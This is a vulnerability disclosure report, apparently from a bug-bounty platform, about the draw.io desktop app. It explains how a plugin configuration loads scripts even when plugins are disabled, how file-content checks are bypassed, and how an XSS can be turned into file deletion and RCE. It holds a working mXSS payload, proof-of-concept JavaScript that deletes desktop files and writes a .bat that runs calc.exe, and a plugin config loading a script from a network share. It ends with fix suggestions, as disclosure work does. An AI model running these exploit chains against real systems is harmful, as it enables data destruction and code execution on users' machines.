Lucene search

K
huntrKevin-mizu2D93052F-EFC6-4647-9A6D-8B08DC251223
HistorySep 04, 2022 - 8:16 p.m.

Desktop APP XSS to RCE

2022-09-0420:16:47
kevin-mizu
www.huntr.dev
15
desktop app
xss
rce
plugin configuration
script loading
validation
mxss
mathjax parsing

EPSS

0.001

Percentile

39.5%

📝 Description

Bypass disabled plugins configuration

According to its default configuration, drawio desktop disables the use of custom plugin and must be using –enable-plugins to enable it. In addition, draw.io allows you to configure the application (mainly the interface) using a json file containing information like css or shapes stuff:

{
    "defaultVertexStyle": { "fontFamily": "Courier New" },  
    "defaultEdgeStyle": { "fontFamily": "Courier New" }
}

Unfortunately, this feature allows much more and allows you to specify which plugins to be loaded at the start of the application. (link)

plugins: Defines an array of plugin URLs that should be loaded with the diagram editor.

The problem with this feature is that, it will load the script path directly inside a script tag without checking the enablePlugins state. Furthermore, the loaded pluggins are not listed in the plugins section. (link)

{
  "plugins": [ "https://app.diagrams.net/plugins/voice.js" ]
}

web_pluggins.png

web_voice_pluggin.png

It’s also important to notice that the following message doesn’t appear when it should.

warning_message_pluggins.png

This vulnerability occurs because drawio configuration isn’t loaded with untrusted set to true.

App.js

if (isLocalStorage && localStorage != null && urlParams['embed'] != '1')
    {
        var configData = localStorage.getItem(Editor.configurationKey);
        ...
                    Editor.configure(configData);

Editor.js

Editor.configure = function(config, untrusted) {
    ...
    if (config.plugins != null && !untrusted)
        {
            // Required for callback
            App.initPluginCallback();
            
            for (var i = 0; i < config.plugins.length; i++)
            {
                mxscript(config.plugins[i]);
            }
        }
    ...

(m)XSS risk

For this one, I wasn’t able to prove that there was a real security issue. So, it’s much more like a recommendation, but I think that was important to mention it.

When using a mathematical typesetting like <h1>$$\sqrt{3×-1}+(1+x)^2$$</h1> the input will be first sanitized by DOMPurify and then parse by MathJax. This is really dangerous because MathJax mixed without another html could potentially lead to mixing for example. (even if it have been sanitize before. Example with markedJS)

As an example, the payload bellow will generate a valid mXSS payload. Luckily, it will not be executed as the DOM loads it in 2 times. Also, if you ever add a feature that allows the DOM to be reloaded or anything like that, it will be a free XSS.

payload: (can be simply copy past on the graph)

XX&lt;textarea class="mathjax_process"&gt;`\class{&lt;/textarea&gt;&lt;img src=x onerror=alert()&gt;}{XSS RISK HERE}`&lt;/textarea&gt;

output: (reduced)

&lt;textarea class="mathjax_process"&gt;
&lt;mjx-container class="MathJax" jax="SVG"&gt;
&lt;svg style="vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="18.357ex" height="1.645ex" role="img" focusable="false" viewBox="0 -705 8114 727" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
&lt;g data-mml-node="mrow" class="&lt;/textarea&gt;&lt;img src=x onerror=alert()&gt;"&gt;&lt;/g&gt;
&lt;/svg&gt;
&lt;/mjx-container&gt;
&lt;/textarea&gt;

Bypass deleteFile

The deleteFile allows file deletion only for those who match checkFileContent patterns.

async function deleteFile(file) 
{
    ...

    if (checkFileContent(buffer))
    {
        await fsProm.unlink(file);
    }
}

The problem with this is that linked to writeFile, it is possible to write a magic header in the file we want to delete and then call the function.

Example of bypass:

file = "";

// overwrite file
electron.request({
    action: 'writeFile',
    path: file,
    data: '%PDF-',
    enc: 'utf-8'
}, (d) =&gt; {

    // delete file
    electron.request({ action: 'deleteFile', file: file }, (d) =&gt; {}, "")
}, "")

Bypass writeFile | checkFileContent

The writeFile function is vulnerable to type junggling, making it possible to generate script polymorphic files. Furthermore, this function should not be able to write file with any extension as it allows a lot of dangerous file generation.

async function writeFile(path, data, enc)
{
    if (!checkFileContent(data, enc))
    {
        throw new Error('Invalid file data');
    }
    else
    {
        return await fsProm.writeFile(path, data, enc);
    }
};
function checkFileContent(body, enc)
{
	...
			if (enc == 'base64')

Both checkFileContent and fsProm.writeFile are all allowing base64 encoding, but are handling enc variable differently. In checkFileContent it will check it using only 2 equals while fsProm.writeFile will accept only string or use UTF-8 as default encoding.
Thus, sending valid base64 encoded header will pass the verification and be written without decoding into the file. In addition, because base64 string is a valid variable name in most programming languages, it can be abused to write a valid javascript polymorph file for example.

Imgur

Example of bypass:

file = "";
electron.request({
    action: 'writeFile',
    path: file,
    data: "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;\n{FREE-HERE}",
    enc: ['base64'] // type jungling
}, (d) =&gt; {
    alert("SUCCESS")
}, "")

🕵️‍♂️ Proof of Concept

I will not describe how to bypass the CSP on desktop application, because Tobias S. Fink clearly explains how to in this report. Thus, we will assume that all desktop XSS is due to the following configuration file:

{
    "plugins": [
        "\\\\192.168.1.126\\MizuShare\\xss.js"
    ]
}

XSS to delete all user’s files on desktop app

// get User directory
electron.request({ action: 'getDocumentsFolder' }, (d) =&gt; {
    documents = d;
    desktop = documents + "\\..\\Desktop\\";
    file = desktop + "secret.txt";

    // overwrite file
    electron.request({
        action: 'writeFile',
        path: file,
        data: '%PDF-',
        enc: 'utf-8'
    }, (d) =&gt; {

        // delete file
        electron.request({ action: 'deleteFile', file: file }, (d) =&gt; {}, "")
    }, "")
}, "")

poc_delete.gif

LINK

Event if the attacker have no way to know file names, he could use wordlist | fuzzing | known AppData files for example.

XSS to RCE on desktop app

In the production draw.io desktop app, all resources are archived in read-only .asar file which block electron-preload.js file overwrites. Since it is possible to create and delete any file that doesn’t match checkFileContent function. Thus, it is possible to remove all draw.io shortcuts and create a malicious .bat file for example.

// get User directory
electron.request({ action: 'getDocumentsFolder' }, (d) =&gt; {
    documents = d;
    desktop = documents + "\\..\\Desktop\\";

    // delete file
    file = desktop + "draw.io.lnk";
    electron.request({
        action: 'writeFile',
        path: file,
        data: '%PDF-',
        enc: 'utf-8'
    }, (d) =&gt; {
        electron.request({ action: 'deleteFile', file: file }, "", "")
    }, "")

    // create malicious .bat file
    file = desktop + "draw.io.bat";
    electron.request({
        action: 'writeFile',
        path: file,
        data: 'PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1\ncalc.exe',
        enc: ['base64'] // type jungling
    }, "", "")
}, "")

poc_rce.gif

LINK

I know that the scenario isn’t that much realist and need a user interaction, but it is a simple PoC. An attacker could try to make it more tricky to detect for the user. That’s why, it is important to notice that even creating a .bat shouldn’t be possible.

🛠️ Fix suggestion

In order to avoid those issues, I recommend you to fix the following:

  • Change Editor.configure(configData); to Editor.configure(configData, true); to avoid trust in configuration plugins.
  • Sanitize MathJax output by DomPurify to avoid any mXSS risk.
  • Allow writeFile only on specific extension list.
  • Check file content with checkFileContent before overwriting a file with writeFile.
  • Change if (enc == 'base64') to if (enc === 'base64').

More generally, I recommend you to make sure that each file interaction is done on checkFileContent approve files.

EPSS

0.001

Percentile

39.5%

Related for 2D93052F-EFC6-4647-9A6D-8B08DC251223